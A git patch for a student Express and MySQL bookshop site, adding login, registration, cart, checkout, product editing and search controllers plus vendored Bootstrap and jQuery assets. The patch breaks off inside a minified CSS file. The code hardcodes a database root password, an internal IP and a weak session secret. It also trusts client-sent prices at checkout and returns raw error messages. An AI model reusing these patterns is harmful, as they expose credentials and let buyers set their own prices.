From ebe5f22f1beaa9818fa8c621f5779859280511cc Mon Sep 17 00:00:00 2001 From: 65160381 <65160381@go.buu.ac.th> Date: Tue, 25 Mar 2025 05:14:08 +0700 Subject: [PATCH] 2 --- app.js | 62 +- controllers/cartController.js | 94 + controllers/indexController.js | 30 + controllers/loginController.js | 33 + controllers/logoutController.js | 5 + controllers/productController.js | 196 +- controllers/registerController.js | 24 + controllers/userController.js | 72 - db.js | 14 + public/css/.DS_Store | Bin 0 -> 8196 bytes public/css/animate.min.css | 2 + public/css/bootstrap-grid.css | 1912 ++ public/css/bootstrap-grid.css.map | 1 + public/css/bootstrap-grid.min.css | 7 + public/css/bootstrap-grid.min.css.map | 1 + public/css/bootstrap-reboot.css | 330 + public/css/bootstrap-reboot.css.map | 1 + public/css/bootstrap-reboot.min.css | 8 + public/css/bootstrap-reboot.min.css.map | 1 + public/css/bootstrap.css | 8950 ++++++++ public/css/bootstrap.css.map | 1 + public/css/bootstrap.min.css | 7 + public/css/bootstrap.min.css.map | 1 + public/css/default-skin.css | 614 + public/css/font-awesome.min.css | 4 + public/css/icomoon.css | 1793 ++ public/css/index.css | 17 + public/css/jquery-ui.css | 1311 ++ public/css/jquery.fancybox.min.css | 1 + public/css/jquery.mCustomScrollbar.min.css | 1 + public/css/meanmenu.css | 179 + public/css/nice-select.css | 177 + public/css/normalize.css | 427 + public/css/owl.carousel.min.css | 6 + public/css/product.css | 3 + public/css/responsive.css | 412 + public/css/sign-in.css | 25 + public/css/slick.css | 108 + public/css/style.css | 999 + public/images/bookshop.png | Bin 0 -> 12330 bytes public/images/call-icon.png | Bin 0 -> 1668 bytes public/images/fb-icon.png | Bin 0 -> 1762 bytes public/images/img-8.png | Bin 0 -> 108272 bytes public/images/img-9.png | Bin 0 -> 325410 bytes public/images/instagram-icon.png | Bin 0 -> 1929 bytes public/images/mail-icon.png | Bin 0 -> 1296 bytes public/images/map-icon.png | Bin 0 -> 1334 bytes public/images/quick-icon.png | Bin 0 -> 1193 bytes public/images/search-icon.png | Bin 0 -> 1310 bytes public/images/services-bg.png | Bin 0 -> 525261 bytes public/images/social-icon.png | Bin 0 -> 3524 bytes public/images/twitter-icon.png | Bin 0 -> 1835 bytes public/js/.DS_Store | Bin 0 -> 8196 bytes public/js/bootstrap.bundle.js | 6433 ++++++ public/js/bootstrap.bundle.js.map | 1 + public/js/bootstrap.bundle.min.js | 7 + public/js/bootstrap.bundle.min.js.map | 1 + public/js/bootstrap.js | 3925 ++++ public/js/bootstrap.js.map | 1 + public/js/bootstrap.min.js | 7 + public/js/bootstrap.min.js.map | 1 + public/js/custom.js | 372 + public/js/jquery-3.0.0.min.js | 213 + .../js/jquery.mCustomScrollbar.concat.min.js | 5 + public/js/jquery.min.js | 5 + public/js/jquery.validate.js | 1601 ++ public/js/modernizer.js | 4552 ++++ public/js/plugin.js | 18950 ++++++++++++++++ public/js/popper.min.js | 6 + public/js/slider-setting.js | 105 + views/addProduct.ejs | 131 + views/cart.ejs | 167 + views/editProduct.ejs | 117 + views/index.ejs | 130 +- views/login.ejs | 208 +- views/orderConfirmation.ejs | 97 + views/orderHistory.ejs | 127 + views/product.ejs | 157 + views/products.ejs | 22 - views/register.ejs | 193 +- views/searchResults.ejs | 106 + 81 files changed, 55236 insertions(+), 233 deletions(-) create mode 100644 controllers/cartController.js create mode 100644 controllers/indexController.js create mode 100644 controllers/loginController.js create mode 100644 controllers/logoutController.js create mode 100644 controllers/registerController.js delete mode 100644 controllers/userController.js create mode 100644 db.js create mode 100644 public/css/.DS_Store create mode 100644 public/css/animate.min.css create mode 100644 public/css/bootstrap-grid.css create mode 100644 public/css/bootstrap-grid.css.map create mode 100644 public/css/bootstrap-grid.min.css create mode 100644 public/css/bootstrap-grid.min.css.map create mode 100644 public/css/bootstrap-reboot.css create mode 100644 public/css/bootstrap-reboot.css.map create mode 100644 public/css/bootstrap-reboot.min.css create mode 100644 public/css/bootstrap-reboot.min.css.map create mode 100644 public/css/bootstrap.css create mode 100644 public/css/bootstrap.css.map create mode 100644 public/css/bootstrap.min.css create mode 100644 public/css/bootstrap.min.css.map create mode 100644 public/css/default-skin.css create mode 100644 public/css/font-awesome.min.css create mode 100644 public/css/icomoon.css create mode 100644 public/css/index.css create mode 100644 public/css/jquery-ui.css create mode 100644 public/css/jquery.fancybox.min.css create mode 100644 public/css/jquery.mCustomScrollbar.min.css create mode 100644 public/css/meanmenu.css create mode 100644 public/css/nice-select.css create mode 100644 public/css/normalize.css create mode 100644 public/css/owl.carousel.min.css create mode 100644 public/css/product.css create mode 100644 public/css/responsive.css create mode 100644 public/css/sign-in.css create mode 100644 public/css/slick.css create mode 100644 public/css/style.css create mode 100644 public/images/bookshop.png create mode 100644 public/images/call-icon.png create mode 100644 public/images/fb-icon.png create mode 100644 public/images/img-8.png create mode 100644 public/images/img-9.png create mode 100644 public/images/instagram-icon.png create mode 100644 public/images/mail-icon.png create mode 100644 public/images/map-icon.png create mode 100644 public/images/quick-icon.png create mode 100644 public/images/search-icon.png create mode 100644 public/images/services-bg.png create mode 100644 public/images/social-icon.png create mode 100644 public/images/twitter-icon.png create mode 100644 public/js/.DS_Store create mode 100644 public/js/bootstrap.bundle.js create mode 100644 public/js/bootstrap.bundle.js.map create mode 100644 public/js/bootstrap.bundle.min.js create mode 100644 public/js/bootstrap.bundle.min.js.map create mode 100644 public/js/bootstrap.js create mode 100644 public/js/bootstrap.js.map create mode 100644 public/js/bootstrap.min.js create mode 100644 public/js/bootstrap.min.js.map create mode 100644 public/js/custom.js create mode 100644 public/js/jquery-3.0.0.min.js create mode 100644 public/js/jquery.mCustomScrollbar.concat.min.js create mode 100644 public/js/jquery.min.js create mode 100644 public/js/jquery.validate.js create mode 100644 public/js/modernizer.js create mode 100644 public/js/plugin.js create mode 100644 public/js/popper.min.js create mode 100644 public/js/slider-setting.js create mode 100644 views/addProduct.ejs create mode 100644 views/cart.ejs create mode 100644 views/editProduct.ejs create mode 100644 views/orderConfirmation.ejs create mode 100644 views/orderHistory.ejs create mode 100644 views/product.ejs delete mode 100644 views/products.ejs create mode 100644 views/searchResults.ejs diff --git a/app.js b/app.js index bcfaf3f..04b2159 100644 --- a/app.js +++ b/app.js @@ -1,27 +1,57 @@ const express = require('express'); const bodyParser = require('body-parser'); -const userController = require('./controllers/userController'); -const productController = require('./controllers/productController'); +const session = require('express-session'); +const flash = require('connect-flash'); +global.loggedIn = null const app = express(); -const port = 3000; - -// ตั้งค่า EJS +app.use(express.static('public')); +app.use(express.json()); +app.use(express.urlencoded({ extended: true })); +app.use(bodyParser.urlencoded({ extended: true })); +app.use(session({ + secret: 'secretkey', + resave: true, + saveUninitialized: true +})); +app.use(flash()); app.set('view engine', 'ejs'); -app.set('views', './views'); - -// ตั้งค่า middleware -app.use(bodyParser.json()); +app.use('*', (req, res, next) => { + loggedIn = req.session.userId + next() +}); -// ตั้งค่า routes -app.use('/users', userController); -app.use('/products', productController); +const indexController = require('./controllers/indexController'); +const loginController = require('./controllers/loginController'); +const registerController = require('./controllers/registerController'); +const logoutController = require('./controllers/logoutController'); +const productController = require('./controllers/productController'); +const cartController = require('./controllers/cartController'); -// หน้าแรก (Home) -app.get('/', (req, res) => { - res.render('index', { title: 'E-commerce Home' }); +app.get('/', indexController.getProducts); +app.get('/login', loginController.showLoginPage); +app.post('/user/login', loginController.loginUser); +app.get('/register', registerController.showRegisterPage); +app.post('/user/register', registerController.registerUser); +app.post('/user/register', registerController.registerUser); +app.get('/logout', logoutController); +app.get('/product/:id', indexController.getProductDetail); +app.get('/addProduct', productController.showAddProductForm); +app.post('/addProduct', productController.createProduct); +app.post('/delete_product/:id', productController.deleteProduct); +app.get('/products/:id/edit', productController.showUpdateProductForm); +app.post('/products/:id/update', productController.updateProduct); +app.get('/search', productController.searchProducts); +app.post('/cart/add', cartController.addToCart); +app.get('/cart', cartController.viewCart); +app.post('/cart/remove/:id', cartController.removeFromCart); +app.post('/checkout', cartController.checkout); +app.get('/orderConfirmation', (req,res) => { + res.render('orderConfirmation'); }); +app.get('/orderHistory', productController.orderHistory); +const port = process.env.PORT || 3000; app.listen(port, () => { - console.log(`Server running on port ${port}`); + console.log(`Server running on port ${port}`); }); diff --git a/controllers/cartController.js b/controllers/cartController.js new file mode 100644 index 0000000..8b60b16 --- /dev/null +++ b/controllers/cartController.js @@ -0,0 +1,94 @@ +const pool = require('../db'); + +exports.addToCart = (req, res) => { + const { product_id, price } = req.body; + const quantity = parseInt(req.body.quantity) || 1; + + if (!req.session.cart) { + req.session.cart = []; + } + + const existingProduct = req.session.cart.find(item => item.product_id === product_id); + if (existingProduct) { + existingProduct.quantity += quantity; + } else { + req.session.cart.push({ product_id, quantity, price }); + } + + res.redirect('/cart'); +}; + +exports.viewCart = async (req, res) => { + const cart = req.session.cart || []; + + if (cart.length === 0) { + return res.render('cart', { cart: [], products: [] }); + } + + const productIds = cart.map(item => item.product_id); + try { + const [products] = await pool.query('SELECT * FROM products WHERE product_id IN (?)', [productIds]); + + // ผูกข้อมูลสินค้าเข้ากับตะกร้า + const cartWithDetails = cart.map(item => { + const product = products.find(p => p.product_id == item.product_id); + + // ตรวจสอบว่าเจอสินค้าไหม + if (product) { + return { ...item, product_name: product.product_name, image: product.image }; + } else { + // ถ้าไม่พบสินค้า, คืนค่าด้วยค่า default หรือข้อความ + return { ...item, product_name: 'ไม่พบสินค้า', image: 'default_image.jpg' }; + } + }); + + res.render('cart', { cart: cartWithDetails }); + } catch (err) { + res.status(500).send('เกิดข้อผิดพลาดในการโหลดตะกร้าสินค้า: ' + err.message); + } +}; + + +exports.removeFromCart = (req, res) => { + const product_id = req.params.id; + req.session.cart = req.session.cart.filter(item => item.product_id !== product_id); + res.redirect('/cart'); +}; + +exports.checkout = async (req, res) => { + if (!req.session.userIdEmail) { + return res.status(401).send('กรุณาเข้าสู่ระบบก่อนทำการสั่งซื้อ'); + } + + const cart = req.session.cart || []; + if (cart.length === 0) { + return res.redirect('/cart'); + } + + try { + const totalAmount = cart.reduce((sum, item) => sum + item.price * item.quantity, 0); + const userEmail = req.session.userIdEmail; + + // ดึง user_id จาก email + const [user] = await pool.query('SELECT id FROM users WHERE email = ?', [userEmail]); + if (user.length === 0) { + return res.status(404).send('ไม่พบผู้ใช้งาน'); + } + const userId = user[0].id; + + // สร้างคำสั่งซื้อใน Orders + const [orderResult] = await pool.query('INSERT INTO orders (user_id, total_amount) VALUES (?, ?)', [userId, totalAmount]); + const orderId = orderResult.insertId; + + // เพิ่มรายการสินค้าลงใน Order_Items + const orderItems = cart.map(item => [orderId, item.product_id, item.quantity, item.price]); + await pool.query('INSERT INTO order_items (order_id, book_id, quantity, price) VALUES ?', [orderItems]); + + // ล้างตะกร้าหลังจาก Checkout สำเร็จ + req.session.cart = []; + + res.redirect('/orderConfirmation'); + } catch (err) { + res.status(500).send('เกิดข้อผิดพลาดในการสั่งซื้อ: ' + err.message); + } +}; \ No newline at end of file diff --git a/controllers/indexController.js b/controllers/indexController.js new file mode 100644 index 0000000..932af7d --- /dev/null +++ b/controllers/indexController.js @@ -0,0 +1,30 @@ +const pool = require('../db'); + +exports.getProducts = async (req, res) => { + try { + const [rows] = await pool.query('SELECT * FROM products'); + res.render('index', { products: rows }); + } catch (err) { + res.status(500).send('Database error: ' + err.message); + } + }; + + exports.getProductDetail = async (req, res) => { + const productId = req.params.id; + try { + const [rows] = await pool.query(` + SELECT p.*, u.email AS owner + FROM products p + LEFT JOIN users u ON p.owner = u.email + WHERE p.product_id = ?`, [productId]); + + if (rows.length === 0) { + return res.status(404).send('ไม่พบสินค้านี้'); + } + + res.render('product', { product: rows[0], currentUserEmail: req.session.userIdEmail || '' }); + } catch (err) { + res.status(500).send('Database error: ' + err.message); + } + }; + \ No newline at end of file diff --git a/controllers/loginController.js b/controllers/loginController.js new file mode 100644 index 0000000..5e69712 --- /dev/null +++ b/controllers/loginController.js @@ -0,0 +1,33 @@ +const bcrypt = require('bcrypt'); +const pool = require('../db'); + +module.exports = { + showLoginPage: (req, res) => { + res.render('login', { message: req.flash('message') }); + }, + + loginUser: async (req, res) => { + const { email, rpassword } = req.body; + try { + const [rows] = await pool.execute('SELECT * FROM users WHERE email = ?', [email]); + if (rows.length === 0) { + req.flash('message', 'Email not found'); + return res.redirect('/login'); + } + + const user = rows[0]; + const match = await bcrypt.compare(rpassword, user.password); + if (match) { + req.session.userId = user.id + req.session.userIdEmail = user.email; + res.redirect('/'); + } else { + req.flash('message', 'Password incorrect'); + return res.redirect('/login'); + } + } catch (err) { + console.error(err); + res.status(500).send('Server error'); + } + } +}; diff --git a/controllers/logoutController.js b/controllers/logoutController.js new file mode 100644 index 0000000..712c536 --- /dev/null +++ b/controllers/logoutController.js @@ -0,0 +1,5 @@ +module.exports = (req, res) => { + req.session.destroy(() => { + res.redirect('/') + }) +} \ No newline at end of file diff --git a/controllers/productController.js b/controllers/productController.js index f6f8bbc..eb0b38e 100644 --- a/controllers/productController.js +++ b/controllers/productController.js @@ -1,77 +1,131 @@ -const express = require('express'); -const mysql = require('mysql2'); - -const router = express.Router(); -const pool = mysql.createPool({ - host: process.env.DB_HOST || "10.104.20.74", - port: process.env.DB_PORT || "3306", - user: process.env.DB_USER || "root", - password: process.env.DB_PASSWORD || "TNSypb73606", - database: process.env.DB_NAME || "project", - waitForConnections: true, - connectionLimit: 10, - queueLimit: 0 -}); - - -// หน้ารายการสินค้า -router.get('/', (req, res) => { - const query = 'SELECT * FROM products'; - db.query(query, (err, results) => { - if (err) { - return res.status(500).json({ message: 'Error fetching products' }); +const pool = require('../db'); + +exports.showAddProductForm = (req, res) => { + res.render('addProduct'); +}; + +exports.createProduct = async (req, res) => { + const { product_name, price, image, description } = req.body; + const owner = req.session.userIdEmail; // เราต้องเก็บ email ตอน login ด้วยนะครับ + try { + const sql = 'INSERT INTO products (product_name, price, image, description, owner) VALUES (?, ?, ?, ?, ?)'; + await pool.query(sql, [product_name, price, image, description, owner]); + res.redirect('/'); + } catch (err) { + res.status(500).send('เกิดข้อผิดพลาดในการเพิ่มสินค้า: ' + err.message); } - res.render('products', { products: results }); - }); -}); - -// เพิ่มสินค้า -router.post('/add', (req, res) => { - const { name, description, price, quantity } = req.body; - const query = 'INSERT INTO products (name, description, price, quantity) VALUES (?, ?, ?, ?)'; - db.query(query, [name, description, price, quantity], (err, result) => { - if (err) { - return res.status(500).json({ message: 'Error adding product' }); + }; + + +exports.showUpdateProductForm = async (req, res) => { + const productId = req.params.id; + try { + const [rows] = await pool.query('SELECT * FROM products WHERE product_id = ?', [productId]); + if (rows.length === 0) { + return res.status(404).send('ไม่พบสินค้านี้'); + } + res.render('editProduct', { product: rows[0] }); + } catch (err) { + res.status(500).send('เกิดข้อผิดพลาดในการโหลดข้อมูลสินค้า: ' + err.message); + } +}; + + exports.updateProduct = async (req, res) => { + const productId = req.params.id; + const { product_name, price, image, description } = req.body; + const currentUserEmail = req.session.userIdEmail; + + try { + const [rows] = await pool.query('SELECT * FROM products WHERE product_id = ?', [productId]); + if (rows.length === 0) { + return res.status(404).send('ไม่พบสินค้านี้'); + } + const product = rows[0]; + if (product.owner !== currentUserEmail) { + return res.status(403).send('คุณไม่มีสิทธิ์แก้ไขสินค้านี้'); + } + + const sql = 'UPDATE products SET product_name = ?, price = ?, image = ?, description = ? WHERE product_id = ?'; + await pool.query(sql, [product_name, price, image, description, productId]); + + res.redirect('/'); + } catch (err) { + res.status(500).send('เกิดข้อผิดพลาดในการอัปเดตสินค้า: ' + err.message); + } +}; + + exports.deleteProduct = async (req, res) => { + const productId = req.params.id; + const currentUserEmail = req.session.userIdEmail; + try { + // ตรวจสอบว่าผู้ใช้นี้เป็นเจ้าของหรือไม่ + const [rows] = await pool.query('SELECT * FROM products WHERE product_id = ?', [productId]); + if (rows.length === 0) { + return res.status(404).send('ไม่พบสินค้านี้'); + } + const product = rows[0]; + if (product.owner !== currentUserEmail) { + return res.status(403).send('คุณไม่มีสิทธิ์ลบสินค้านี้'); + } + + // ลบสินค้าได้ + await pool.query('DELETE FROM products WHERE product_id = ?', [productId]); + res.redirect('/'); + } catch (err) { + res.status(500).send('Database error: ' + err.message); } - res.redirect('/products'); - }); -}); - -// แก้ไขสินค้า -router.put('/update/:id', (req, res) => { - const { id } = req.params; - const { name, description, price, quantity } = req.body; - const query = 'UPDATE products SET name = ?, description = ?, price = ?, quantity = ? WHERE product_id = ?'; - db.query(query, [name, description, price, quantity, id], (err, result) => { - if (err) { - return res.status(500).json({ message: 'Error updating product' }); + }; + + exports.searchProducts = async (req, res) => { + const searchQuery = req.query.q; // รับค่าค้นหาจาก query parameter + try { + const sql = 'SELECT * FROM products WHERE product_name LIKE ?'; + const [rows] = await pool.query(sql, [`%${searchQuery}%`]); // ค้นหาชื่อสินค้าที่คล้ายกัน + + res.render('searchResults', { products: rows, searchQuery }); // ส่งผลลัพธ์ไปยังหน้า searchResults.ejs + } catch (err) { + res.status(500).send('เกิดข้อผิดพลาดในการค้นหา: ' + err.message); } - res.redirect('/products'); - }); -}); - -// ลบสินค้า -router.delete('/delete/:id', (req, res) => { - const { id } = req.params; - const query = 'DELETE FROM products WHERE product_id = ?'; - db.query(query, [id], (err, result) => { - if (err) { - return res.status(500).json({ message: 'Error deleting product' }); +}; + +exports.orderHistory = async (req, res) => { + if (!req.session.userIdEmail) { + return res.status(401).send('กรุณาเข้าสู่ระบบเพื่อดูประวัติการสั่งซื้อ'); } - res.redirect('/products'); - }); -}); - -// ค้นหาสินค้า -router.get('/search', (req, res) => { - const { query } = req.query; - const searchQuery = `SELECT * FROM products WHERE name LIKE ?`; - db.query(searchQuery, [`%${query}%`], (err, results) => { - if (err) { - return res.status(500).json({ message: 'Error searching products' }); + + try { + const userEmail = req.session.userIdEmail; + + // ดึง user_id จาก email + const [user] = await pool.query('SELECT id FROM users WHERE email = ?', [userEmail]); + if (user.length === 0) { + return res.status(404).send('ไม่พบผู้ใช้งาน'); + } + const userId = user[0].id; + + // ดึงคำสั่งซื้อทั้งหมดของผู้ใช้ + const [orders] = await pool.query( + 'SELECT * FROM orders WHERE user_id = ? ORDER BY created_at DESC', + [userId] + ); + + // ดึงรายการสินค้าสำหรับแต่ละคำสั่งซื้อ + for (let order of orders) { + const [items] = await pool.query( + `SELECT oi.*, p.product_name, p.image + FROM order_items oi + JOIN products p ON oi.book_id = p.product_id + WHERE oi.order_id = ?`, + [order.order_id] + ); + order.items = items; + } + + res.render('orderHistory', { orders }); + } catch (err) { + res.status(500).send('เกิดข้อผิดพลาดในการดึงประวัติการสั่งซื้อ: ' + err.message); } - res.render('products', { products: results }); - }); -}); +}; + -module.exports = router; + \ No newline at end of file diff --git a/controllers/registerController.js b/controllers/registerController.js new file mode 100644 index 0000000..f2b6835 --- /dev/null +++ b/controllers/registerController.js @@ -0,0 +1,24 @@ +const bcrypt = require('bcrypt'); +const pool = require('../db'); + +module.exports = { + showRegisterPage: (req, res) => { + res.render('register', { message: req.flash('message') }); + }, + + registerUser: async (req, res) => { + const { email, rpassword } = req.body; + + try { + const hashedPassword = await bcrypt.hash(rpassword, 10); + const query = 'INSERT INTO users (email, password) VALUES (?, ?)'; + await pool.execute(query, [email, hashedPassword]); + + req.flash('message', 'User registered successfully. Please log in.'); + res.redirect('/login'); + } catch (err) { + console.error('Error inserting user:', err); + res.status(500).send('Error occurred'); + } + } +}; diff --git a/controllers/userController.js b/controllers/userController.js deleted file mode 100644 index c4e231b..0000000 --- a/controllers/userController.js +++ /dev/null @@ -1,72 +0,0 @@ -const express = require('express'); -const bcrypt = require('bcryptjs'); -const jwt = require('jsonwebtoken'); -const mysql = require('mysql2'); - -const router = express.Router(); -const pool = mysql.createPool({ - host: process.env.DB_HOST || "10.104.20.74", - port: process.env.DB_PORT || "3306", - user: process.env.DB_USER || "root", - password: process.env.DB_PASSWORD || "TNSypb73606", - database: process.env.DB_NAME || "project", - waitForConnections: true, - connectionLimit: 10, - queueLimit: 0 -}); - - -// หน้า Register -router.get('/register', (req, res) => { - res.render('register'); // โหลดหน้า Register - }); - - // หน้า Login - router.get('/login', (req, res) => { - res.render('login'); // โหลดหน้า Login - }); - - // สมัครสมาชิก - router.post('/register', (req, res) => { - const { email, password } = req.body; - bcrypt.hash(password, 10, (err, hashedPassword) => { - if (err) { - return res.status(500).json({ message: 'Error hashing password' }); - } - const query = 'INSERT INTO users (email, password) VALUES (?, ?)'; - db.query(query, [email, hashedPassword], (err, result) => { - if (err) { - return res.status(500).json({ message: 'Error registering user' }); - } - res.redirect('/'); - }); - }); - }); - - // ล็อกอิน - router.post('/login', (req, res) => { - const { email, password } = req.body; - const query = 'SELECT * FROM users WHERE email = ?'; - db.query(query, [email], (err, result) => { - if (err) { - return res.status(500).json({ message: 'Error logging in' }); - } - if (result.length === 0) { - return res.status(404).json({ message: 'User not found' }); - } - const user = result[0]; - bcrypt.compare(password, user.password, (err, isMatch) => { - if (err) { - return res.status(500).json({ message: 'Error comparing password' }); - } - if (!isMatch) { - return res.status(400).json({ message: 'Invalid credentials' }); - } - const token = jwt.sign({ userId: user.user_id }, 'secretkey', { expiresIn: '1h' }); - res.cookie('token', token); - res.redirect('/'); - }); - }); - }); - - module.exports = router; \ No newline at end of file diff --git a/db.js b/db.js new file mode 100644 index 0000000..b7bdc17 --- /dev/null +++ b/db.js @@ -0,0 +1,14 @@ +const mysql = require('mysql2/promise'); + +const pool = mysql.createPool({ + host: process.env.DB_HOST || "10.104.20.74", + port: process.env.DB_PORT || "3306", + user: process.env.DB_USER || "root", + password: process.env.DB_PASSWORD || "TNSypb73606", + database: process.env.DB_NAME || "project", + waitForConnections: true, + connectionLimit: 10, + queueLimit: 0 +}); + +module.exports = pool; diff --git a/public/css/.DS_Store b/public/css/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..805c967bb3742be12aa5c2062d4f417ea46703eb GIT binary patch literal 8196 zcmZQzU|@7AO)+F(kYHe7;9!8z0^AH(0Z1N%F(jFwB2pmp7#IW?7!nyu7*ZMZ7;+gh zp>m_tXb6mkz-S1JhQMeDjE2DA3IRrlb2xC+`w-btax?@+LtsRP0H}OWfVAxy9H4Xq zga%15FfuTJy8w&~3@oq!Vg&aC7(j9$tsokt6-0xyGBAQzU^Bp485p5j8NuBUkUjyh zQH%^=?F@`yn?d4W?F@`yn;94wA=()jp*Ax@dnk+$?F@_%?F@`y+rdVT5~Cq78Ukn` z0P4H*GbA$PF=R62qV(VM81xvD8HyQ-J#+GtlXCKt7$8~Ont_2q<3AXH%@SfrV#sI6 zXDDGPW+-7OVn}2tV9;eqXDDLGWJtkb#!56Z#E3BiJg$()P=M+lMsX6&0*y`J@Ec<* znpsi=+=XHm4)=XVGgAbsnMDk#aB-~R&XkB|js#pia=2qL2fMqN&XZvtihoh#f!P+# zJQ*U~hhiRfcQUU=GnW^OxmZJtMG{S?Aa0%5?Ph5w$^;Z&poR*|S2PnuvAO}p1nh2M zO-3_GfFXq;l_8BGk)f0!hoOW)m!X&;n<0|{N7`lp<=YwHZ2KRaZ$%i=81fnNz&aBd z${A7_iW%}5a^d55xXc0NU1W2(88R7?!8$>u01jQ?T#BrVmm!OxkfD?zm7$2Cl0lcD zlpzy)Spm+I$U4PQbn1aaAdexLp%NUj72wdr848S`+=y(NJep~_49*Ot;F1g!7Qqb3 z3`Gq23^@!r3`q=$3`O`&2j@{_(|N$*2`XJd;hM)#irtUkyojuiA6y<MGo*rJHI*TU zA(bJSp#-~baLz;4&C8I-kk3#AF3)oqG8wACaf+oZ2j?whogxhR4CM?tV0%Em%?F1C z$bQI}E{@m*=QLz<_!vOtP%%RRIE586WHOZDasxPzA?xL2C}se;I+-CG><)|?2%M+T zb(Anvf<p;wNdV3}$U49oV8j#5kPwgn_5WQN7;ugMLsX5DqaiRF0>d%{7+G9`U7Wz3 za_s&C^|e9$=>(`Ws1FY6jx&P#<q&-!C7`Z7xI4}WnN$R;W@Lc$<QW+tJ$Xh329VZ) W90)+J2}bLG<j@$c|G{Z?BoF|XIa#g% literal 0 HcmV?d00001 diff --git a/public/css/animate.min.css b/public/css/animate.min.css new file mode 100644 index 0000000..073e89c --- /dev/null +++ b/public/css/animate.min.css @@ -0,0 +1,2 @@ +@charset "UTF-8"; +.animated{-webkit-animation-duration:1s;animation-duration:1s;-webkit-animation-fill-mode:both;animation-fill-mode:both}.animated.infinite{-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite}.animated.hinge{-webkit-animation-duration:2s;animation-duration:2s}@-webkit-keyframes bounce{0%,20%,53%,80%,100%{-webkit-transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000);transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000);-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}40%,43%{-webkit-transition-timing-function:cubic-bezier(0.755,0.050,0.855,0.060);transition-timing-function:cubic-bezier(0.755,0.050,0.855,0.060);-webkit-transform:translate3d(0,-30px,0);transform:translate3d(0,-30px,0)}70%{-webkit-transition-timing-function:cubic-bezier(0.755,0.050,0.855,0.060);transition-timing-function:cubic-bezier(0.755,0.050,0.855,0.060);-webkit-transform:translate3d(0,-15px,0);transform:translate3d(0,-15px,0)}90%{-webkit-transform:translate3d(0,-4px,0);transform:translate3d(0,-4px,0)}}@keyframes bounce{0%,20%,53%,80%,100%{-webkit-transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000);transition-timing-function:cubic-bezier(0.215,0.610,0.355,1.000);-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}40%,43%{-webkit-transition-timing-function:cubic-bezier(0.755,0.050,0.855,0.060);transition-timing-function:cubic-bezier(0.755,0.050,0.855,0.060);-webkit-transform:translate3d(0,-30px,0);transform:translate3d(0,-30px,0)}70%{-webkit-transition-timing-function:cubic-bezier(0.755,0.050,0.855,0.060);transition-timing-function:cubic-bezier(0.755,0.050,0.855,0.060);-webkit-transform:translate3d(0,-15px,0);transform:translate3d(0,-15px,0)}90%{-webkit-transform:translate3d(0,-4px,0);transform:translate3d(0,-4px,0)}}.bounce{-webkit-animation-name:bounce;animation-name:bounce;-webkit-transform-origin:center bottom;-ms-transform-origin:center bottom;transform-origin:center bottom}@-webkit-keyframes flash{0%,50%,100%{opacity:1}25%,75%{opacity:0}}@keyframes flash{0%,50%,100%{opacity:1}25%,75%{opacity:0}}.flash{-webkit-animation-name:flash;animation-name:flash}@-webkit-keyframes pulse{0%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}50%{-webkit-transform:scale3d(1.05,1.05,1.05);transform:scale3d(1.05,1.05,1.05)}100%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes pulse{0%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}50%{-webkit-transform:scale3d(1.05,1.05,1.05);transform:scale3d(1.05,1.05,1.05)}100%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.pulse{-webkit-animation-name:pulse;animation-name:pulse}@-webkit-keyframes rubberBand{0%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}30%{-webkit-transform:scale3d(1.25,0.75,1);transform:scale3d(1.25,0.75,1)}40%{-webkit-transform:scale3d(0.75,1.25,1);transform:scale3d(0.75,1.25,1)}50%{-webkit-transform:scale3d(1.15,0.85,1);transform:scale3d(1.15,0.85,1)}65%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}75%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}100%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes rubberBand{0%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}30%{-webkit-transform:scale3d(1.25,0.75,1);transform:scale3d(1.25,0.75,1)}40%{-webkit-transform:scale3d(0.75,1.25,1);transform:scale3d(0.75,1.25,1)}50%{-webkit-transform:scale3d(1.15,0.85,1);transform:scale3d(1.15,0.85,1)}65%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}75%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}100%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.rubberBand{-webkit-animation-name:rubberBand;animation-name:rubberBand}@-webkit-keyframes shake{0%,100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}10%,30%,50%,70%,90%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}20%,40%,60%,80%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}}@keyframes shake{0%,100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}10%,30%,50%,70%,90%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}20%,40%,60%,80%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}}.shake{-webkit-animation-name:shake;animation-name:shake}@-webkit-keyframes swing{20%{-webkit-transform:rotate3d(0,0,1,15deg);transform:rotate3d(0,0,1,15deg)}40%{-webkit-transform:rotate3d(0,0,1,-10deg);transform:rotate3d(0,0,1,-10deg)}60%{-webkit-transform:rotate3d(0,0,1,5deg);transform:rotate3d(0,0,1,5deg)}80%{-webkit-transform:rotate3d(0,0,1,-5deg);transform:rotate3d(0,0,1,-5deg)}100%{-webkit-transform:rotate3d(0,0,1,0deg);transform:rotate3d(0,0,1,0deg)}}@keyframes 